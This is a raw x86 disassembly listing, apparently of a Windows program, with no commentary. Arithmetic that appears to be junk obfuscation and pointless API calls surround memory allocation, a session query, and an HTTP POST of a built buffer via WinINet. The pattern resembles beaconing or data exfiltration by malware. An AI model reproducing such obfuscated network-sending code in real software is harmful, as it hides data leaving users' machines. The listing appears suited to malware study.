mov dword [ebp - 0x1ca4], 0
mov dword [ebp - 0x1d0c], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1cb4], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1cd8], ecx
mov dword [ebp - 0x1d08], 0
mov dword [ebp - 0x1cd4], 1
mov dword [ebp - 0x1cdc], 1
mov dword [ebp - 0x1cb0], 0
mov edx, dword [ebp - 0x7c4]
mov dword [ebp - 0x1ca8], edx
mov eax, dword [ebp - 0xa90]
mov dword [ebp - 0x1cac], eax
mov dword [ebp - 0x1cd0], 0
lea ecx, [ebp - 0x1cf0]
push ecx
mov edx, dword [ebp - 0x1ca8]
push edx
call dword [sym.imp.USER32.dll_GetIconInfo]
lea eax, [ebp - 0x1d04]
push eax
mov ecx, dword [ebp - 0x1cac]
push ecx
call dword [sym.imp.USER32.dll_GetIconInfo]
lea edx, [ebp - 0x1d24]
push edx
push 0x18
mov eax, dword [ebp - 0x1ce0]
push eax
call dword [sym.imp.GDI32.dll_GetObjectA]
lea ecx, [ebp - 0x1ccc]
push ecx
push 0x18
mov edx, dword [ebp - 0x1cf4]
push edx
call dword [sym.imp.GDI32.dll_GetObjectA]
mov eax, dword [ebp - 0x1d20]
cmp eax, dword [ebp - 0x1cc8]
jne 0x43d708
mov ecx, dword [ebp - 0x1d1c]
cmp ecx, dword [ebp - 0x1cc4]
jne 0x43d708
mov dword [ebp - 0x1d70], 0x28
mov edx, dword [ebp - 0x1d20]
mov dword [ebp - 0x1d6c], edx
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0x1d68], eax
mov word [ebp - 0x1d64], 1
mov word [ebp - 0x1d62], 0x20
mov dword [ebp - 0x1d60], 0
xor ecx, ecx
mov dword [ebp - 0x1d5c], ecx
mov dword [ebp - 0x1d58], ecx
mov dword [ebp - 0x1d54], ecx
mov dword [ebp - 0x1d50], ecx
mov dword [ebp - 0x1d4c], ecx
mov dword [ebp - 0x1d48], ecx
mov edx, dword [ebp - 0x1d08]
add edx, 1
imul edx, edx, 5
mov eax, dword [0x456b0c]
add eax, dword [0x456b18]
imul edx, eax
mov ecx, dword [ebp - 0x1cb0]
imul ecx, dword [0x456b24]
imul edx, ecx
shl edx, 1
sub edx, dword [ebp - 0x1cdc]
mov dword [ebp - 0x1cd8], edx
mov edx, dword [ebp - 0x59c]
add edx, dword [ebp - 0x1cdc]
add edx, dword [0x456b0c]
mov dword [0x456b0c], edx
push 0
push 0
lea eax, [ebp - 0x1d38]
push eax
push 0
lea ecx, [ebp - 0x1d70]
push ecx
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [ebp - 0x1d2c], eax
push 0
push 0
lea edx, [ebp - 0x1d30]
push edx
push 0
lea eax, [ebp - 0x1d70]
push eax
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [ebp - 0x1d40], eax
push 0
mov ecx, dword [ebp - 0x1d08]
push ecx
push 0
call sub.MSACM32.dll_acmMetrics
imul eax, dword [ebp - 0x1d08]
mov dword [ebp - 0xa90], eax
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x1d34], eax
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x1d3c], eax
mov edx, dword [ebp - 0x1cb0]
add edx, dword [ebp - 0x7e0]
mov eax, dword [ebp - 0x1cdc]
add eax, 1
mov ecx, dword [ebp - 0x1cd8]
sub ecx, eax
imul edx, ecx
mov dword [ebp - 0x1cb4], edx
mov edx, dword [ebp - 0x7e0]
shl edx, 1
mov dword [ebp - 0x59c], edx
mov eax, dword [ebp - 0x1ce0]
push eax
mov ecx, dword [ebp - 0x1d34]
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x1d44], eax
mov edx, dword [ebp - 0x1d2c]
push edx
mov eax, dword [ebp - 0x1d3c]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x1d28], eax
push 0xcc0020
push 0
push 0
mov ecx, dword [ebp - 0x1d34]
push ecx
mov edx, dword [ebp - 0x1d1c]
push edx
mov eax, dword [ebp - 0x1d20]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x1d3c]
push ecx
call dword [sym.imp.GDI32.dll_BitBlt]
mov edx, dword [ebp - 0x1cdc]
sub edx, 1
push edx
mov eax, dword [ebp - 0x1d08]
push eax
push 0
push 0
push 0
call sub.MSACM32.dll_acmFormatTagEnumW
imul eax, dword [ebp - 0x7c4]
mov dword [0x456b20], eax
mov ecx, dword [ebp - 0x1cf4]
push ecx
mov edx, dword [ebp - 0x1d34]
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 0x1d40]
push eax
mov ecx, dword [ebp - 0x1d3c]
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
mov edx, dword [ebp - 0x1d34]
push edx
mov eax, dword [ebp - 0x1d1c]
push eax
mov ecx, dword [ebp - 0x1d20]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x1d3c]
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [ebp - 0xa90]
mov ecx, dword [ebp - 0x1cb0]
lea edx, [ecx + eax + 2]
imul edx, dword [ebp - 0x1cdc]
shl edx, 5
imul edx, dword [ebp - 0x7e0]
mov dword [ebp - 0x7e0], edx
mov eax, dword [ebp - 0x1d44]
push eax
mov ecx, dword [ebp - 0x1d34]
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [ebp - 0x1d28]
push edx
mov eax, dword [ebp - 0x1d3c]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [ebp - 0x1d34]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov edx, dword [ebp - 0x1d3c]
push edx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0x1d2c]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [ebp - 0x1d40]
push ecx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov edx, dword [ebp - 0x1ce0]
push edx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [ebp - 0x1ce4]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [ebp - 0x1cf4]
push ecx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov edx, dword [ebp - 0x1cf8]
push edx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebp - 0x20a4], 0
mov dword [ebp - 0x20f8], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20c8], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x20d4], ecx
mov dword [ebp - 0x1f7c], 1
mov dword [ebp - 0x20d0], 0x10
mov dword [ebp - 0x20d8], 3
mov dword [ebp - 0x20c4], 0x100
mov dword [ebp - 0x20e0], 0
mov dword [ebp - 0x20cc], 1
mov dword [ebp - 0x20f4], 0
mov byte [ebp - 0x2090], 0
push 0xff
push 0
lea edx, [ebp - 0x208f]
push edx
call fcn.0041bd70
add esp, 0xc
mov dword [ebp - 0x20a0], 0
xor eax, eax
mov dword [ebp - 0x209c], eax
mov dword [ebp - 0x2098], eax
mov dword [ebp - 0x2094], eax
mov dword [ebp - 0x20f0], 0
xor ecx, ecx
mov dword [ebp - 0x20ec], ecx
mov dword [ebp - 0x20e8], ecx
mov dword [ebp - 0x20e4], ecx
mov dword [ebp - 0x1f8c], 0
xor edx, edx
mov dword [ebp - 0x1f88], edx
mov dword [ebp - 0x1f84], edx
mov dword [ebp - 0x1f80], edx
mov dword [ebp - 0x20c0], 0
mov dword [ebp - 0x20dc], 0
movzx eax, byte [0x456b0c]
test eax, eax
je 0x43d853
movzx ecx, word [ebp - 0xa90]
add ecx, dword [ebp - 0x20c8]
mov dword [ebp - 0x20c8], ecx
jmp 0x43d885
movzx ecx, word [ebp - 0x20a4]
add ecx, dword [0x456b10]
mov eax, dword [0x456b0c]
cdq
and edx, 7
add eax, edx
sar eax, 3
add ecx, eax
mov edx, dword [0x456b18]
imul edx, dword [ebp - 0x7d0]
add ecx, edx
mov dword [0x456b10], ecx
mov dword [ebp - 0x2498], 0
cmp dword [ebp - 0x7c4], 0
je 0x43d8be
cmp dword [ebp - 0xa90], 0
je 0x43d8be
push 0
lea eax, [ebp - 0x2490]
push eax
mov ecx, dword [ebp - 0x2498]
push ecx
call sub.MSACM32.dll_acmDriverDetailsA
mov dword [ebp - 0x2494], eax
jmp 0x43d8e5
mov edx, dword [0x456b10]
imul edx, dword [ebp - 0x97c]
imul edx, dword [0x456b18]
mov eax, dword [ebp - 0x20d0]
lea ecx, [eax + edx + 0xff0]
mov dword [ebp - 0x20d0], ecx
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
movsx edx, ax
xor eax, eax
test edx, edx
setl al
add eax, 2
cdq
mov ecx, 3
idiv ecx
mov edx, dword [ebp + edx*4 - 0x24a4]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebp - 0x20c8]
imul eax, dword [ebp - 0x7d0]
sub eax, dword [0x456b1c]
add eax, dword [ebp - 0x1f88]
mov dword [ebp - 0x1f88], eax
mov ecx, dword [ebp - 0x97c]
imul ecx, ecx, 0
mov edx, dword [ebp - 0x20d0]
lea eax, [ecx + edx*8]
mov dword [ebp - 0x20c0], eax
lea ecx, [ebp - 0x24a8]
push ecx
lea edx, [ebp - 0x24ac]
push edx
push 0xe
push 0xffffffffffffffff
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
mov eax, dword [ebp - 0x1f88]
imul eax, dword [ebp - 0x97c]
cdq
and edx, 7
add eax, edx
mov ecx, eax
sar ecx, 3
mov esi, dword [ebp - 0xa90]
add esi, 0x3a
mov eax, dword [0x456b18]
cdq
idiv esi
add ecx, dword [0x456b1c]
add eax, ecx
movzx edx, word [ebp - 0x20f4]
imul edx, dword [ebp - 0x7bc]
imul edx, dword [0x456b10]
sub eax, edx
mov dword [ebp - 0x20e8], eax
mov dword [ebp - 0x24b0], 0
jmp 0x43d9c9
mov eax, dword [ebp - 0x24b0]
add eax, 1
mov dword [ebp - 0x24b0], eax
cmp dword [ebp - 0x24b0], 9
jge 0x43da8c
lea ecx, [ebp - 0x24c0]
push ecx
sub esp, 8
fld qword [ebp - 0x24c8]
fstp qword [esp]
call dword [sym.imp.OLEAUT32.dll_UnRegisterTypeLib]
cmp dword [ebp - 0xbbc], 0
jne 0x43da6f
cmp dword [ebp - 0x24b0], 7
jge 0x43da6f
mov eax, dword [ebp - 0x20c8]
cdq
mov ecx, 0x1c
idiv ecx
mov edx, dword [0x456b10]
sub edx, eax
mov dword [ebp - 0x4450], edx
fild dword [ebp - 0x4450]
fild dword [0x456b1c]
push ecx
fstp dword [esp]
fstp qword [ebp - 0x4458]
call fcn.00401f60
add esp, 4
fimul dword [ebp - 0x7e4]
lea eax, [ebp - 0xa88]
movzx ecx, ax
mov dword [ebp - 0x445c], ecx
fimul dword [ebp - 0x445c]
fsubr qword [ebp - 0x4458]
fisubr dword [ebp - 0x20a4]
call fcn.0043fd20
mov dword [ebp - 0x20a4], eax
jmp 0x43da87
mov edx, dword [ebp - 0x980]
imul edx, edx, 0
add edx, 0x40
sub edx, dword [0x456b18]
mov dword [ebp - 0x20dc], edx
jmp 0x43d9ba
lea ecx, [ebp - 0x20bc]
call fcn.00412ed0
mov ax, word [ebp - 0x7d0]
mov word [ebp - 0x43f4], ax
lea ecx, [ebp - 0x43f4]
push ecx
lea ecx, [ebp - 0x20bc]
call fcn.00412f50
mov dx, word [ebp - 0x20cc]
mov word [ebp - 0x43f6], dx
lea eax, [ebp - 0x43f6]
push eax
lea ecx, [ebp - 0x20bc]
call fcn.00412f90
mov cx, word [ebp - 0x20c8]
mov word [ebp - 0x43f8], cx
lea edx, [ebp - 0x43f8]
push edx
lea ecx, [ebp - 0x20bc]
call fcn.00412f90
movzx eax, byte [ebp - 0x7d0]
add eax, dword [0x456b0c]
movzx ecx, byte [ebp - 0x209c]
sub eax, ecx
mov dword [ebp - 0x4460], eax
fild dword [ebp - 0x4460]
fild dword [ebp - 0x20d4]
push ecx
fstp dword [esp]
fstp qword [ebp - 0x4468]
call fcn.00401f40
add esp, 4
fadd qword [ebp - 0x4468]
movzx edx, word [ebp - 0x980]
mov dword [ebp - 0x446c], edx
fiadd dword [ebp - 0x446c]
fisub dword [ebp - 0x1f88]
call fcn.0043fd20
mov dword [ebp - 0x20ec], eax
lea ecx, [ebp - 0x20bc]
call fcn.00412f30
test eax, eax
je 0x43dbc1
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x4474], eax
mov dword [ebp - 0x4470], 0
fild qword [ebp - 0x4474]
push ecx
fstp dword [esp]
call fcn.00401f80
add esp, 4
mov ecx, dword [ebp - 0x1ebf]
mov dword [ebp - 0x447c], ecx
mov dword [ebp - 0x4478], 0
fild qword [ebp - 0x447c]
fmulp st(1)
fiadd dword [ebp - 0x7e0]
call fcn.0043fd20
mov dword [ebp - 0x7e0], eax
push 3
push 1
lea ecx, [ebp - 0x20bc]
call fcn.00416380
mov edx, dword [ebp - 0x7cc]
add edx, dword [0x456b20]
mov eax, dword [ebp - 0x7bc]
imul eax, dword [ebp - 0x20c8]
sub edx, eax
add edx, dword [ebp - 0x7d0]
movzx ecx, byte [0x456b1c]
add edx, ecx
mov dword [ebp - 0x20cc], edx
mov dx, word [ebp - 0x7e0]
mov word [ebp - 0x43fa], dx
lea eax, [ebp - 0x43fa]
push eax
lea ecx, [ebp - 0x20bc]
call fcn.00412f90
fild dword [0x456b18]
fild dword [0x456b1c]
fstp qword [ebp - 0x4484]
call fcn.0043fc60
fimul dword [ebp - 0x1f84]
lea ecx, [ebp - 0x1f78]
movzx edx, cx
mov dword [ebp - 0x4488], edx
fild dword [ebp - 0x4488]
fmulp st(1)
mov eax, dword [0x456b1c]
add eax, 0x5f
mov dword [ebp - 0x448c], eax
fild dword [ebp - 0x448c]
fdivp st(1)
movzx ecx, byte [ebp - 0x20cc]
mov dword [ebp - 0x4490], ecx
fild dword [ebp - 0x4490]
fmulp st(1)
fsubr qword [ebp - 0x4484]
mov edx, dword [ebp - 0x980]
mov dword [ebp - 0x4498], edx
mov dword [ebp - 0x4494], 0
fild qword [ebp - 0x4498]
fsubrp st(1)
fnstcw word [ebp - 0x449a]
movzx eax, word [ebp - 0x449a]
or eax, 0xc00
mov dword [ebp - 0x44a0], eax
fldcw word [ebp - 0x44a0]
fistp qword [ebp - 0x44a8]
fldcw word [ebp - 0x449a]
mov eax, dword [ebp - 0x44a8]
mov dword [ebp - 0x980], eax
cmp dword [ebp - 0x20f0], 0
jne 0x43dd01
movzx ecx, byte [ebp - 0x20f8]
movzx edx, byte [ebp - 0xa90]
imul ecx, edx
sub ecx, dword [ebp - 0x20f0]
mov dword [ebp - 0x1f88], ecx
jmp 0x43dd1e
mov ecx, dword [ebp - 0xa90]
add ecx, 0x33
mov eax, dword [0x456b0c]
cdq
idiv ecx
add eax, dword [0x456b20]
mov dword [ebp - 0x209c], eax
mov edx, dword [0x456b20]
push edx
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov dword [ebp - 0x24e4], 0
mov dword [ebp - 0x24d0], 0
cmp dword [0x456b18], 0
jne 0x43dd69
mov eax, dword [ebp - 0x20dc]
push eax
push 0x3000
mov ecx, dword [ebp - 0x20c0]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x7d0], eax
lea ecx, [ebp - 0x24f8]
call fcn.00413020
mov dword [ebp - 0x24e0], 0
xor edx, edx
mov dword [ebp - 0x24dc], edx
mov dword [ebp - 0x24d8], edx
mov dword [ebp - 0x24d4], edx
mov dword [ebp - 0x24cc], 0x10
mov dword [ebp - 0x2500], 2
mov dword [ebp - 0x24fc], 1
mov eax, dword [ebp - 0x24d0]
push eax
lea ecx, [ebp - 0x24e0]
push ecx
mov edx, dword [ebp - 0x24e4]
push edx
call dword [sym.imp.USER32.dll_FillRect]
cmp dword [ebp - 0x7c4], 0
je 0x43de27
mov eax, dword [ebp - 0x2500]
push eax
lea ecx, [ebp - 0x24f8]
call fcn.00413070
mov ecx, eax
call fcn.00412be0
push eax
mov ecx, dword [ebp - 0x2500]
push ecx
lea ecx, [ebp - 0x24f8]
call fcn.00413070
mov ecx, eax
call fcn.00412bc0
push eax
mov edx, dword [ebp - 0x2500]
shl edx, 4
sub edx, dword [ebp - 0x24fc]
push edx
push 0
mov eax, dword [ebp - 0x24e4]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
lea ecx, [ebp - 0x24f8]
call fcn.00413050
lea ecx, [ebp - 0xa88]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov dword [ebp - 0x2524], eax
mov eax, dword [ebp - 0x20d0]
imul eax, eax, 0x16
add eax, dword [ebp - 0x7c4]
mov dword [ebp - 0xbc4], eax
cmp dword [0x456b20], 0
je 0x43de98
cmp dword [ebp - 0x7c4], 0
je 0x43de98
push 0
push 0
push 0
lea ecx, [ebp - 0x2520]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x43de98
mov edx, dword [0x456b0c]
add edx, 1
mov dword [0x456b0c], edx
jmp 0x43de70
mov eax, dword [ebp - 0x97c]
sub eax, dword [ebp - 0x7d0]
cmp eax, dword [ebp - 0x20cc]
jg 0x43deb8
mov ecx, dword [0x456b0c]
mov dword [ebp - 0x7e4], ecx
lea ecx, [ebp - 0x20bc]
call fcn.00412f10
mov edx, dword [ebp - 0xa90]
mov dword [ebp - 0x254c], edx
mov eax, dword [0x456b10]
mov dword [ebp - 0x2944], eax
mov dword [ebp - 0x2570], 0
mov dword [ebp - 0x2938], 0x3c
mov dword [ebp - 0x257c], 0
mov ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x25ec], ecx
mov edx, dword [ebp - 0xa8c]
add edx, 1
mov dword [ebp - 0x26bc], edx
mov eax, dword [ebp - 0x7e0]
add eax, dword [ebp - 0x59c]
mov dword [ebp - 0x2578], eax
mov ecx, dword [0x456b0c]
sub ecx, dword [0x456b10]
mov dword [ebp - 0x2ad8], ecx
mov dword [ebp - 0x2b30], 0
mov dword [ebp - 0x2b2c], 0x3e8
mov edx, dword [ebp - 0x2b2c]
mov dword [ebp - 0x2b34], edx
lea eax, [ebp - 0x2b34]
push eax
push 1
push 0x11
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x2b40], eax
lea ecx, [ebp - 0x2b3c]
push ecx
mov edx, dword [ebp - 0x2b40]
push edx
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov dword [ebp - 0x2b44], eax
mov dword [ebp - 0x2b38], 0
jmp 0x43dfa3
mov eax, dword [ebp - 0x2b38]
add eax, 1
mov dword [ebp - 0x2b38], eax
mov ecx, dword [ebp - 0x2b38]
cmp ecx, dword [ebp - 0x2b2c]
jge 0x43dfda
mov edx, dword [ebp - 0x2b38]
add edx, 0x21
and edx, 0x800000ff
jns 0x43dfca
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp - 0x2b3c]
add eax, dword [ebp - 0x2b38]
mov byte [eax], dl
jmp 0x43df94
mov ecx, dword [ebp - 0x2b3c]
mov byte [ecx + 1], 0
mov edx, dword [ebp - 0x2b40]
push edx
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov dword [ebp - 0x2b44], eax
mov dword [ebp - 0x158], str.devlve_begs
call fcn.00401fc0
mov dword [ebp - 0x2b50], 0
mov dword [ebp - 0x2d90], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2d64], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2d74], ecx
mov dword [ebp - 0x2b4c], 0
mov dword [ebp - 0x2d60], 3
mov dword [ebp - 0x2d70], 1
mov dword [ebp - 0x2d6c], 1
mov dword [ebp - 0x2d88], 0
mov dword [ebp - 0x2d84], 0
mov dword [ebp - 0x2d80], 0
mov edx, dword [ebp - 0x7c4]
add edx, 4
mov dword [ebp - 0x2d68], edx
lea eax, [ebp - 0xa88]
mov dword [ebp - 0x2b48], eax
lea ecx, [ebp - 0x978]
mov dword [ebp - 0x2d8c], ecx
lea edx, [ebp - 0x978]
mov dword [ebp - 0x2d9c], edx
lea eax, [ebp - 0xa88]
mov dword [ebp - 0x2d7c], eax
mov ecx, dword [ebp - 0x7d0]
mov dword [ebp - 0xaac], ecx
mov dword [ebp - 0x2b54], 0xa
mov dword [ebp - 0x2d5c], 0x200
mov edx, dword [ebp - 0x2d84]
imul edx, dword [ebp - 0x59c]
mov eax, dword [ebp - 0x2d80]
sub eax, edx
add eax, dword [ebp - 0x7e0]
imul eax, dword [ebp - 0x2d64]
mov dword [ebp - 0x2d64], eax
mov ecx, dword [ebp - 0x2d60]
mov edx, dword [ebp - 0x2d70]
lea eax, [edx + ecx + 4]
mov ecx, dword [0x456b10]
sub ecx, eax
add ecx, dword [0x456b10]
mov dword [0x456b10], ecx
lea edx, [ebp - 0x2d5c]
push edx
lea eax, [ebp - 0x2d58]
push eax
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov ecx, dword [ebp - 0x2d88]
imul ecx, dword [0x456b10]
mov edx, dword [ebp - 0x2b50]
imul edx, dword [ebp - 0xbbc]
add ecx, edx
mov eax, dword [ebp - 0x7bc]
imul eax, dword [ebp - 0x2d60]
add ecx, dword [ebp - 0xbbc]
add eax, ecx
mov dword [ebp - 0x2b4c], eax
mov ecx, dword [ebp - 0x2d68]
cmp ecx, dword [ebp - 0x7c4]
jne 0x43e18d
push 0x44b2ac
lea edx, [ebp - 0x2d98]
push edx
call fcn.004163c0
add esp, 8
jmp 0x43e1a1
push str.POST
lea eax, [ebp - 0x2d98]
push eax
call fcn.004163c0
add esp, 8
mov ecx, dword [0x456b0c]
cmp ecx, dword [0x456b10]
jle 0x43e1c7
mov edx, dword [ebp - 0x980]
add edx, dword [ebp - 0x2d84]
add edx, dword [ebp - 0x2d64]
mov dword [ebp - 0x2d64], edx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2d58]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x2d78], eax
cmp dword [ebp - 0x2d78], 0
jne 0x43e1f8
cmp dword [ebp - 0x2d6c], 0
je 0x43e584
mov dword [ebp - 0x2da0], 0
cmp dword [ebp - 0x7c4], 0
je 0x43e231
push 0
push 0
push 3
push 0
push 0
push 0x50
mov ecx, dword [ebp - 0x2b48]
push ecx
mov edx, dword [ebp - 0x2d78]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x2da0], eax
mov eax, dword [ebp - 0x7e0]
add eax, dword [ebp - 0x2d80]
mov ecx, dword [ebp - 0x2d60]
imul ecx, dword [ebp - 0x980]
add eax, dword [ebp - 0x2d84]
add ecx, eax
mov edx, dword [ebp - 0x7e0]
add edx, 3
imul edx, dword [ebp - 0x2d88]
add ecx, edx
mov eax, dword [ebp - 0x2d80]
lea ecx, [ecx + eax*2]
mov dword [0x456b10], ecx
cmp dword [ebp - 0x2da0], 0
jne 0x43e289
cmp dword [ebp - 0x2d60], 0
je 0x43e577
push 0
push 0x8404f700
push 0
push 0
push str.HTTP_1.1
mov edx, dword [ebp - 0x2d8c]
push edx
lea eax, [ebp - 0x2d98]
push eax
mov ecx, dword [ebp - 0x2da0]
push ecx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x2da4], eax
lea ecx, [ebp - 0x2db8]
call fcn.00413150
mov dword [ebp - 0x2dbc], 0
jmp 0x43e2e0
mov edx, dword [ebp - 0x2dbc]
add edx, 1
mov dword [ebp - 0x2dbc], edx
mov eax, dword [ebp - 0x2dbc]
cmp eax, dword [ebp - 0x2b4c]
jge 0x43e341
mov ecx, dword [ebp - 0x2dbc]
imul ecx, dword [ebp - 0x2d88]
cmp ecx, dword [ebp - 0x2d70]
jle 0x43e310
lea ecx, [ebp - 0x2db8]
call fcn.00413320
jmp 0x43e33f
mov edx, dword [ebp - 0x2dbc]
add edx, dword [ebp - 0x2d60]
cmp edx, dword [ebp - 0x2d84]
jle 0x43e33d
mov eax, dword [ebp - 0x2dbc]
add eax, 0x454660
push eax
lea ecx, [ebp - 0x2db8]
call fcn.00413280
jmp 0x43e33f
jmp 0x43e341
jmp 0x43e2d1
mov ecx, dword [0x456b18]
cmp ecx, dword [ebp - 0x2d84]
jne 0x43e3a8
mov dword [ebp - 0x2dc0], 0
jmp 0x43e36a
mov edx, dword [ebp - 0x2dc0]
add edx, 1
mov dword [ebp - 0x2dc0], edx
mov eax, dword [ebp - 0x2dc0]
cmp eax, dword [ebp - 0x2b4c]
jge 0x43e3a8
mov ecx, dword [ebp - 0x2dc0]
push ecx
lea ecx, [ebp - 0x2db8]
call fcn.004131a0
mov dl, byte [eax]
mov byte [ebp - 0x2dc1], dl
mov eax, dword [ebp - 0xaac]
add eax, dword [ebp - 0x2dc0]
mov cl, byte [ebp - 0x2dc1]
mov byte [eax], cl
jmp 0x43e35b
lea ecx, [ebp - 0x2db8]
call fcn.00413180
cmp dword [ebp - 0x2da4], 0
jne 0x43e3c9
cmp dword [ebp - 0x2d88], 0
jne 0x43e577
mov dword [ebp - 0x2dc8], 0
cmp dword [ebp - 0x2d7c], 0
je 0x43e433
mov edx, dword [ebp - 0x2d7c]
mov dword [ebp - 0x44ac], edx
mov eax, dword [ebp - 0x44ac]
add eax, 1
mov dword [ebp - 0x44b0], eax
mov ecx, dword [ebp - 0x44ac]
mov dl, byte [ecx]
mov byte [ebp - 0x44b1], dl
add dword [ebp - 0x44ac], 1
cmp byte [ebp - 0x44b1], 0
jne 0x43e3f7
mov eax, dword [ebp - 0x44ac]
sub eax, dword [ebp - 0x44b0]
mov dword [ebp - 0x44b8], eax
mov ecx, dword [ebp - 0x44b8]
mov dword [ebp - 0x2dc8], ecx
mov edx, dword [ebp - 0xbbc]
add edx, dword [ebp - 0x2b54]
push edx
mov eax, dword [ebp - 0x2b4c]
push eax
mov ecx, dword [ebp - 0xaac]
push ecx
call fcn.0043b8b0
mov edx, dword [ebp - 0x2d70]
mov eax, dword [0x456b0c]
lea ecx, [eax + edx + 1]
mov dword [ebp - 0x2d90], ecx
mov dword [ebp - 0x2dcc], 0
cmp dword [ebp - 0x2d9c], 0
je 0x43e4d2
mov edx, dword [ebp - 0x2d9c]
mov dword [ebp - 0x44bc], edx
mov eax, dword [ebp - 0x44bc]
add eax, 1
mov dword [ebp - 0x44c0], eax
mov ecx, dword [ebp - 0x44bc]
mov dl, byte [ecx]
mov byte [ebp - 0x44c1], dl
add dword [ebp - 0x44bc], 1
cmp byte [ebp - 0x44c1], 0
jne 0x43e496
mov eax, dword [ebp - 0x44bc]
sub eax, dword [ebp - 0x44c0]
mov dword [ebp - 0x44c8], eax
mov ecx, dword [ebp - 0x44c8]
mov dword [ebp - 0x2dcc], ecx
mov edx, dword [ebp - 0x7e0]
add edx, dword [ebp - 0x2d70]
mov eax, dword [ebp - 0xa90]
imul eax, dword [ebp - 0x980]
add edx, dword [ebp - 0x2d88]
add eax, edx
mov ecx, dword [ebp - 0x7e0]
add ecx, 3
imul ecx, dword [ebp - 0x2d88]
add eax, ecx
mov dword [0x456b10], eax
mov edx, dword [ebp - 0xaac]
lea eax, [ebp + 8]
mov dword [edx + 1], eax
mov ecx, dword [ebp - 0x2d88]
imul ecx, dword [ebp - 0x2b50]
add ecx, dword [ebp - 0x2d60]
mov dword [ebp - 0x7e0], ecx
cmp dword [ebp - 0x7c4], 0
je 0x43e561
mov edx, dword [ebp - 0x2dc8]
push edx
mov eax, dword [ebp - 0x2d7c]
push eax
mov ecx, dword [ebp - 0x2dcc]
push ecx
mov edx, dword [ebp - 0x2d9c]
push edx
mov eax, dword [ebp - 0x2da4]
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp dword [ebp - 0x2d88], 0
je 0x43e577
mov ecx, dword [ebp - 0x2da4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x2da0]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x2d78]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xa90]
mov dword [ebp - 0x2df4], ecx
mov edx, dword [0x456b10]
mov dword [ebp - 0x31d4], edx
mov dword [ebp - 0x2e18], 0
mov dword [ebp - 0x31c8], 0x3c
mov dword [ebp - 0x2e24], 0
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x2e94], eax
mov ecx, dword [ebp - 0xa8c]
add ecx, 1
mov dword [ebp - 0x2f4c], ecx
mov edx, dword [ebp - 0x7e0]
add edx, dword [ebp - 0x59c]
mov dword [ebp - 0x2e20], edx
mov eax, dword [0x456b0c]
sub eax, dword [0x456b10]
mov dword [ebp - 0x3380], eax
mov dword [ebp - 0x3704], 0
mov dword [ebp - 0x3760], 1
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x370c], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x371c], edx
mov dword [ebp - 0x374c], 0
mov dword [ebp - 0x3718], 1
mov dword [ebp - 0x35dc], 1
mov dword [ebp - 0x3714], 0
mov byte [ebp - 0x36f0], 0
push 0xff
push 0
lea eax, [ebp - 0x36ef]
push eax
call fcn.0041bd70
add esp, 0xc
mov dword [ebp - 0x3700], 0
xor ecx, ecx
mov dword [ebp - 0x36fc], ecx
mov dword [ebp - 0x36f8], ecx
